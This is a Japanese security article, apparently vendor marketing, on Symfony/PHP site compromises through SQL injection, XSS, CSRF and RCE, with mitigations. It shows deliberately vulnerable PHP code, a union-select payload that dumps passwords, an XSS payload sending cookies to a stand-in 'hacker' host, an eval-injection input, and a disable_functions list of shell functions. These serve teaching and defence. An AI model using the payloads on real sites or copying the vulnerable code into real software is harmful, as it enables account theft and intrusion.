Symfonyサイトのハッキング被害 – 症状・原因・修正方法を徹底解説

Symfonyは、PHPのウェブサイトやWebアプリケーションを効率的に構築できる人気のPHPフレームワークです。過去には、Symfonyフレームワークの脆弱性が原因でDrupalが影響を受け、結果的にSymfony製サイトがハッキングされる事態につながったこともありました。フレームワーク自体の脆弱性に加えて、安全でない開発手法もPHPサイトを危険にさらす大きな要因となります。本記事では、Symfonyサイトがハッキングされる原因となる重大な脆弱性と、その具体的な防止策について詳しく解説します。

Symfonyが広く支持されている理由の一つは、疎結合で再利用性の高いPHPライブラリ群を提供している点です。これらのライブラリは開発スピードを大幅に向上させ、開発プロセス全体を簡素化します。しかし、Symfonyフレームワークを採用するだけでは、サイトのセキュリティは保証されません。Contrast Securityの調査データによれば、多くのアプリケーションは依然として深刻な脆弱性を抱えています。

Symfonyサイトがハッキングされたときの症状

• データベースに不審なテーブルが作成される、システム上に未知のユーザーやファイルが見つかる場合は、SQLインジェクションの兆候である可能性があります。
• 不審なドメインへリダイレクトするポップアップや広告が表示される場合は、リモートコード実行（RCE）による被害かもしれません。
• ユーザーから「アカウントが勝手に削除された」「承認していないのにデータが改ざんされた」という報告がある場合、クロスサイトリクエストフォージェリ（CSRF）が原因の可能性があります。
• 意味不明な文字列やコンテンツがサイト上に表示される場合は、格納型（Stored）XSS攻撃を受けている可能性があります。
• これらのハッキング被害の結果として、検索エンジンがユーザーに対して「このサイトへのアクセスは危険です」という警告を表示することがあります。

Symfonyサイトがハッキングされる原因

原因1：SQLインジェクション（SQLi）

SQLインジェクションは、主にサイトのデータベースを標的とする攻撃手法です。ユーザー入力のサニタイズ（無害化処理）が行われていないと、サイトは脆弱になり、ハッキング被害につながります。例として、以下のコードを見てみましょう。

<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>

一見すると単純なSQLクエリを実行するだけのPHPコードですが、攻撃者はSELECTコマンドを悪用して、データベースからすべてのパスワードを抽出できます。$size変数に渡される入力値は、次のようになります。

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--

このステートメントが実行されると、「user」テーブル内のすべてのパスワードが一覧表示されてしまいます。文末の「--」は、それ以降のコードをコメント化してエラーを回避するための記号です。これはほんの一例にすぎず、攻撃者はさまざまな手法でデータベースを操作・改ざん・削除できます。場合によっては、サーバーへのリバースシェル取得にも悪用されます。

原因2：クロスサイトスクリプティング（XSS）

XSSは、ユーザー入力の適切なサニタイズ不足によって発生する、非常に蔓延している脆弱性です。検索ボックスや掲示板などで特に多く見られます。XSSによってハッキングされたサイトでは、攻撃者がCookieを盗み出し、セッションを乗っ取ることが可能になります。例えば、以下のようなコードを含む検索クエリを作成すると、そのリンクをクリックした人のCookieを盗むことができます。

"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>

ここで「>」という文字は、直前のタグを閉じる役割を果たします。その後、Image()コンストラクタが変数「img」に新しい画像オブジェクトを生成し、次の行でその画像の参照先（src）を指定します。同じ行内のdocument.cookieメソッドによってCookieが取得され、セッション乗っ取りに利用される仕組みです。

格納型（持続型）XSSの場合はさらに危険です。感染したページを開いた瞬間に自動的にCookieが盗まれるためです。一方、反射型XSSはソーシャルエンジニアリング攻撃に依存します。Cookie窃取にとどまらず、XSSによるハッキングはあらゆる種類のフィッシング攻撃にも悪用され得ます。

ハッキングされたSymfonyサイトの修復にお困りですか？今すぐサイトをクリーンアップしましょう

原因3：クロスサイトリクエストフォージェリ（CSRF）

CSRFを利用すると、攻撃者はログイン中の被害者に、本人の意図しない操作（アカウントの削除、ユーザーデータの改ざんなど）を実行させることができます。例えば、ユーザーがサイトにログインしている状態で、以下のような特別に細工されたページにアクセスすると、アカウントが削除される恐れがあります。

このページは、actionパラメータの「delete」値を使ってユーザーアカウントを削除します。攻撃者はCSRFを通じてさまざまな攻撃を実行できますが、攻撃が実際に成功したかどうかを確認する仕組みがない点は特徴的です。

原因4：リモートコード実行（RCE）

リモートコード実行は、コーディング規約の不備によって発生します。上記のすべての攻撃に共通する最大のセキュリティ問題は、「ユーザー入力を安易に信頼すること」です。例えば、PHPコードでのeval()関数の不適切な使用は次のようになります。

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

これは引数を受け取り、eval関数でその文字列をPHPコードとして実行するシンプルなコードに見えます。しかし入力がフィルタリングされていないため、攻撃者は /index.php?arg=1; phpinfo() のような値を渡すことで、phpinfo()関数の任意コード実行を引き起こせてしまいます。

Symfonyサイトを守るための安全な開発プラクティス

• SQLインジェクションを防ぐには、プリペアドステートメント（準備済みステートメント）を使用しましょう。
• XSS攻撃を防ぐには、htmlspecialchars()関数を活用します。ユーザー入力をブラウザに出力する場面では必ず実装してください。
• CSRF攻撃を防ぐには、ページ内に隠しランダムトークンを実装します。例：<input type="hidden" name="csrf" value="<?php echo $_SESSION["token"]; ?>">
• RCEを防ぐには、php.iniファイルで危険な関数をすべて無効化します：disable_functions = "show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval"
• 要するに、ほとんどの脆弱性は「ユーザー入力を決して信用しないこと」で回避できます。
• サイトに脆弱性が潜んでいる疑いがある場合は、包括的なセキュリティ監査を実施しましょう。

Astraセキュリティでサイトを保護

機械学習を搭載したマルウェアスキャナーとインテリジェントファイアウォールにより、ウェブサイトのセキュリティを一段と強化できます。柔軟な料金プランで、小規模サイトでも導入しやすい手頃な価格設定が特徴です。今すぐAstra Web Protectionの無料トライアルをお試しください。